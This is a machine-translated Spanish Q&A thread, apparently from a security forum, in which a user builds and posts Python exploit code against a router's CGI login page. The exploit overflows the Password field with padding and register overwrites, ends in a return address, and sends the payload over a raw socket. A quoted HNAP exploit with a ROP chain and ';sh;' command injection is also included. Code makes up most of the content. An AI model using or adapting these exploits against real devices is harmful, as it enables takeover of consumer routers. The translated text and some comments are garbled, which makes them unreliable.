Desarrollar el exploit MIPS en la dirección de memoria de python obteniendo el análisis como un valor [cerrado]

1

Estoy tratando de desarrollar un exploit en python. pero no soy capaz de escribir un exploit adecuado. A continuación se muestran los escenarios en los que estoy enfrentando un problema.

  1. a continuación se encuentra la solicitud HTTP que se produce el bloqueo
POST /cgi-bin/index2.asp HTTP/1.1
Host: 192.168.1.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/cgi-bin/index2.asp
Cookie: LoginTimes=1; SESSIONID=boasxxxxxxxxxxxxxxxxxxxxxxxxxxxx; TOKEN=413xxxxxxxxxxxxxxxxxxxx
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Username=admin&Logoff=0&hLoginTimes=1&hLoginTimes_Zero=0&value_one=1&Password1=xsss&Password2=xsss&logintype=usr&Password=AAAAAAAA
  1. Ahora se produce un desbordamiento del búfer brcause del campo de contraseña, por lo que es como A * 1024 + registro S0 + S1 + S2 + S3 (aquí quiero poner shellcode) + dirección de retorno (que debería apuntar al código de shell) .

  2. Ahora quiero escribir el código de Python que debería verse a continuación

import socket
import struct
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158
buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep)
buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library
buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 JUNK
buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate mission
buf+="AAAA" #s7 JUNK
buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which 
buf+="B"*28+"\r\n" + "1\r\n\r\n" 

  1. Y mi código actual se ve como abajo
import requests
import os,sys,re
import struct
url = "http://192.168.1.1:80/cgi-bin/index2.asp"
cookies = {"LoginTimes": "1", "SESSIONID": "boasid055206d8b3d40bd82bdad6b693341bc3", "TOKEN": "413ab27aa9b4a94a003e3e9c080ec368"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://192.168.1.1/cgi-bin/index2.asp", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data={"Username": "admin", "Logoff": "0", "hLoginTimes": "1", "hLoginTimes_Zero": "0", "value_one": "1", "Password1": "xsss", "Password2": "xss", "logintype": "usr", "Password": "AAAA1024 times\x02\xac\x14\xc30AAAA\x02\xac\x14\xc0AAAAAAAAAA\x02\xac\x14\xc0"}
requests.post(url, headers=headers, cookies=cookies, data=data)

Así que ahora mi pregunta es cómo puedo enviar data = fileds en el código mencionado en 3. porque en el código mencionado anteriormente hay encabezados HTTP, pero en mis campos de explotaciones hay datos no encabezado. O ¿Cómo puedo enviar una dirección de memoria en el módulo de solicitudes de Python? o ¿cómo puedo enviar datos en código mencionado en 3.

Gracias S3curityB3ast

    
pregunta Security Beast 08.06.2018 - 12:19
fuente

1 respuesta

0

Después de pasar un tiempo con gdb y python, finalmente encontré el código que puede analizar la dirección como una dirección en lugar de String.

import socket
import struct
buf = "POST /cgi-bin/index2.asp  HTTP/1.1\r\nHOST: 192.168.1.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: http://192.168.1.2/cgi-bin/index2.asp\r\nCookie: LoginTimes=0\r\nConnection: Close\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 1714\r\n\n"
buf+="Username=Bufferoverflow"
buf+="&Logoff=0" 
buf+="&LoginTimes=1"
buf+="&LoginTimes_Zero=0"
buf+="&value_one=1"
buf+="&Password1=xss"
buf+="&Password2=xss"
buf+="&logintype=usr"
buf+="&Password="
buf+="A"*999 #Padding till T4
buf+="T4T4" #T4 Address 0x2BB30D5C kill address based on libc
buf+="T7T7" #T7 sleep address based on libc
buf+="B"*9 #Padding till T6
buf+= "T6T6" #T7 Address Sleep Address Based on libc negetive
buf+="K"*8 #Padding between T6to s0
buf+="S0S0" #S0 Address sleep address boa possitive
buf+="S1S1" #S1 Address Sleep Address Boa negetive
buf+="S2S2" #S2 Address Normal Sleep Adress
buf+="S3S3" #S3Address System Address
buf+="\xA0\x0E\xA2\x18" #return Address
buf+="K"*600
print buf
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.1", 80))
s.send(buf)

Y La conclusión final

El módulo de solicitudes analiza el valor como una cadena. y cuando usas socket, analiza el valor como una dirección

    
respondido por el Security Beast 11.06.2018 - 15:45
fuente

Lea otras preguntas en las etiquetas